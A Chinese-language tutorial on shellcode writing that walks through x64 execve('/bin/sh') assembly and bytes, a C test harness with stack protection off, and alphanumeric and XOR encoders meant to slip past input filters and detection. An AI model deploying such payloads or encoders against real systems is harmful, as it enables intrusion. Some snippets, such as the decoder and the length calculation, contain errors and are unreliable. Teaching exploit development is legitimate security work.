Shellcode编写:从原理到实战

说实话,Shellcode这个词听起来挺唬人的。我第一次接触它的时候,还以为是什么高深莫测的黑客技术。后来做多了漏洞利用,才明白——Shellcode说白了就是一段能直接运行的机器码,它的目标很单纯:拿到shell,或者执行你想要的任何操作。

我记得刚入行那会儿,有个老前辈跟我说过一句话:「Shellcode是二进制安全的基石,你连它都写不好,就别谈什么漏洞利用了。」当时我不太服气,后来踩了不少坑,才明白这话有多实在。

Shellcode的核心原理

Shellcode本质上是一段位置无关的机器码。什么叫位置无关?就是它不关心自己被加载到内存的哪个地址,都能正常执行。这一点很关键,因为漏洞触发时,你往往控制不了Shellcode的确切加载位置。

我见过不少新手,写Shellcode的时候直接硬编码地址,结果一跑就崩。嗯,这里要注意:Shellcode里绝对不能有绝对地址引用

Shellcode的核心特征:

  • 位置无关(Position-Independent Code)
  • 不含空字节(Null-free),避免被字符串函数截断
  • 体积尽量小,通常控制在几百字节以内
  • 可执行,直接作为机器码注入

你想想看,为什么不能有空字节?因为很多漏洞利用场景下,Shellcode是通过字符串拷贝函数(比如strcpy)写入内存的。这些函数遇到空字节就停了,你的Shellcode后半段就没了。

编写第一个Shellcode

咱们从最简单的开始——写一个执行 /bin/sh 的Shellcode。在Linux x64系统上,核心思路就是调用 execve 系统调用。

我个人习惯先用汇编写,再提取机器码。这样逻辑清晰,不容易出错。

; x64 Linux execve("/bin/sh", NULL, NULL)
; 文件名: shell.asm

section .text
global _start

_start:
    ; 清空寄存器
    xor rdx, rdx      ; rdx = 0 (envp)
    xor rsi, rsi      ; rsi = 0 (argv)

    ; 将 "/bin/sh" 字符串压栈
    push rdx          ; 字符串结束符
    mov rax, 0x68732f2f6e69622f  ; "/bin//sh"
    push rax

    ; rdi 指向字符串
    mov rdi, rsp

    ; 调用 execve 系统调用 (syscall number: 59)
    xor rax, rax
    mov al, 59
    syscall

编译链接后,用 objdump 提取机器码。我常用的命令是:

nasm -f elf64 shell.asm -o shell.o
ld shell.o -o shell
objdump -d shell | grep -Po '\s([0-9a-f]{2}\s)+' | tr -d ' \n'

提取出来的机器码大概长这样:

48 31 d2 48 31 f6 52 48 b8 2f 62 69 6e 2f 2f 73 68 50 48 89 e7 48 31 c0 b0 3b 0f 05

小技巧: 我习惯在汇编里用 // 而不是 \0 来填充路径。因为 // 在Linux路径解析时等同于 /,而且两个斜杠正好凑成8字节,方便压栈。

调试Shellcode

写Shellcode最痛苦的就是调试。机器码一旦跑起来,崩了都不知道崩在哪。我建议用两种方式调试:

  1. GDB单步调试:把Shellcode放到一个测试程序里,用GDB一步步看寄存器变化
  2. strace跟踪系统调用:看系统调用是否成功,参数对不对

我曾经有一次写了个反弹Shell的Shellcode,怎么调都不通。用strace一看,原来是socket的协议号写错了。这种问题光看代码根本发现不了。

下面是一个测试Shellcode的C程序框架:

// test_shellcode.c
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>

unsigned char code[] = {
    0x48, 0x31, 0xd2, 0x48, 0x31, 0xf6, 0x52, 0x48,
    0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73,
    0x68, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0,
    0xb0, 0x3b, 0x0f, 0x05
};

int main() {
    void (*func)() = (void(*)())code;
    printf("Shellcode length: %ld\n", sizeof(code)-1);
    func();
    return 0;
}

编译时记得关掉栈保护:

gcc -z execstack -fno-stack-protector test_shellcode.c -o test_shellcode

Alphanumeric Shellcode:字母数字编码

有些场景下,你的Shellcode只能包含可打印字符——比如某些Web应用会对输入做过滤,只允许字母和数字通过。这时候就需要Alphanumeric Shellcode了。

说白了,就是把你的Shellcode编码成只包含 [A-Za-z0-9] 的字符序列。解码器会在运行时把这些字符还原成原始机器码。

我做过一个实际项目,目标系统只允许输入 [a-zA-Z0-9] 范围内的字符。当时我写了个编码器,把Shellcode拆成4字节一组,每组用ADD和XOR指令重新组合成可打印字符。

Alphanumeric Shellcode的编码思路:

  • 每个字节必须落在 0x30-0x39(数字)或 0x41-0x5A(大写字母)或 0x61-0x7A(小写字母)范围内
  • 利用自修改代码(Self-Modifying Code)在运行时解码
  • 解码器本身也必须是Alphanumeric的

举个例子,x86架构下,inc eax 的机器码是 0x40,正好是 @ 字符。而 dec eax0x48,对应 H。利用这些指令,我们可以构建出任意值的计算逻辑。

; Alphanumeric解码器示例(x86)
; 将编码后的数据解码到原始Shellcode

section .text
global _start

_start:
    ; 获取当前指令地址
    jmp short get_addr

decode_loop:
    pop esi           ; esi = 编码数据起始地址
    push esi
    pop edi           ; edi = 目标地址(覆盖编码数据)
    
    xor ecx, ecx
    mov cl, 0x20      ; 解码长度(32字节)

loop_start:
    ; 从编码数据中恢复原始字节
    lodsb             ; 加载一个字节
    sub al, 0x41      ; 减去偏移量,恢复原始值
    stosb             ; 存储到目标位置
    loop loop_start
    
    ; 跳转到解码后的Shellcode
    call [esp]

get_addr:
    call decode_loop
    ; 编码后的数据放在这里
    db 0x50, 0x51, ... ; 编码后的Shellcode

注意: Alphanumeric Shellcode的体积通常会膨胀3-5倍。你想想看,原本28字节的Shellcode,编码后可能变成100多字节。在漏洞利用时,要确保有足够的空间存放。

编码与解码的实战技巧

我总结了几种常见的编码方式,各有优劣:

编码方式 膨胀率 解码复杂度 适用场景
ADD/SUB编码 3-4倍 简单过滤场景
XOR编码 2-3倍 通用场景
Base64编码 1.33倍 严格过滤场景
自定义编码 2-5倍 自定义 对抗特定检测

我个人最常用的是XOR编码。为什么呢?因为XOR操作是可逆的,而且解码器写起来简单。你只需要一个固定的密钥,编码时对每个字节做XOR,解码时再做一次XOR就还原了。

我曾经遇到过一个场景,目标系统不仅过滤了非字母数字字符,还限制了输入长度。那时候我不得不用更紧凑的编码方案——把多个原始字节合并到一个可打印字符里。虽然解码逻辑复杂了点,但体积控制得很好。

知识体系总览

下面这张图把Shellcode编写的核心知识点串起来了,方便你理解整体脉络:

Shellcode编写知识体系 Shellcode编写 核心原理 • 位置无关代码 • 无空字节约束 • 体积最小化 编写与调试 • 汇编编写 → 机器码提取 • GDB单步调试 • strace系统调用跟踪 编码与解码 • Alphanumeric编码 • XOR/ADD/自定义编码 • 自修改代码解码 关键:理解系统调用机制 + 掌握位置无关编码技巧 实战中灵活选择编码方案,平衡体积与兼容性

避坑指南

做Shellcode这些年,我踩过的坑不少。挑几个典型的说说:

  • 空字节问题:我曾经写过一个Shellcode,里面有个 mov rax, 0,编译出来一堆空字节。后来改成 xor rax, rax 才解决。
  • 栈对齐:x64系统要求栈16字节对齐,否则某些指令(如 movaps)会触发段错误。我因为这个原因排查了整整一个下午。
  • 系统调用号:不同架构的系统调用号不一样。x86和x64的 execve 调用号分别是11和59,搞混了直接崩。
  • 编码后的自修改:Alphanumeric Shellcode的解码器如果写不好,可能会把自己也给覆盖了。记得把解码器和编码数据放在不同区域。

我的建议: 刚开始学Shellcode,别急着写复杂的。先从 exit(0) 开始,确认整个流程通了,再逐步增加功能。每加一个功能,就用GDB验证一次。这样出问题了能快速定位。

好了,Shellcode的核心内容就这些。从原理到编写,从调试到编码,每一步都有它的门道。你动手写几个,跑一跑,自然就熟了。